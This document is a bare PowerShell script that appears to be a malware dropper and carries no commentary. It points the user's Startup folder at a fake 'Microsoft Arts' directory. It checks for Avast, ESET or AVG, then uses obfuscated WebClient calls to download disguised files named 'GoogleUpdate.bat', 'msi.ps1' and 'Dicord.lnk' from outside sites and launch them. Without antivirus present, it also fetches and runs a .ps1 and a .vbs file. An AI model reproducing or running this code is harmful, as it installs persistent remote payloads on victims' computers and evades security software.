[system.io.directory]::CreateDirectory("C:\ProgramData\Microsoft Arts\Start\")
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
start-sleep -s 5

Function aloshy
{
if([System.IO.File]::Exists("C:\Program Files\Avast Software\Avast\AvastUI.exe")){

start-sleep -s 5
$p = 'C:\ProgramData\Microsoft Arts\Start\'
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
$bat = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/GoogleUpdate.bat', $bat + 'GoogleUpdate.bat')){
}
start-sleep -s 6
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/b1_20210407/b1.txt', $ps1 + 'msi.ps1')){
}

start-sleep -s 6
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/Dicord.lnk', $p + 'Dicord.lnk')){
}
start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}
elseif([System.IO.File]::Exists("C:\Program Files\ESET\ESET Security\ecmds.exe")){


start-sleep -s 5
$p = 'C:\ProgramData\Microsoft Arts\Start\'
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
$bat = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/GoogleUpdate.bat', $bat + 'GoogleUpdate.bat')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/b1_20210407/b1.txt', $ps1 + 'msi.ps1')){
}

start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/Dicord.lnk', $p + 'Dicord.lnk')){
}
start-sleep -s 6
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"

}



elseif([System.IO.File]::Exists("C:\Program Files\AVG\Antivirus\AVGUI.exe")){



$p = 'C:\ProgramData\Microsoft Arts\Start\'
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
$bat = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/GoogleUpdate.bat', $bat + 'GoogleUpdate.bat')){
}
start-sleep -s 6
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/b1_20210407/b1.txt', $ps1 + 'msi.ps1')){
}

start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/Dicord.lnk', $p + 'Dicord.lnk')){
}
start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}
else{

$defender = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/11.ps1', $defender + '11.ps1')){
}

$def = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/ss.vbs', $def + 'ss.vbs')){
}
start-sleep -s 7
start "C:\Users\Public\ss.vbs"

start "C:\Users\Public\ss.vbs"
start-sleep -s 20
$p = 'C:\ProgramData\Microsoft Arts\Start\'
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
$bat = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/GoogleUpdate.bat', $bat + 'GoogleUpdate.bat')){
}
start-sleep -s 8
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/b1_20210407/b1.txt', $ps1 + 'msi.ps1')){
}

start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://www.monsieurenbourgogne.com/wp-root/Dicord.lnk', $p + 'Dicord.lnk')){
}
start-sleep -s 5
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}

}
IEX aloshy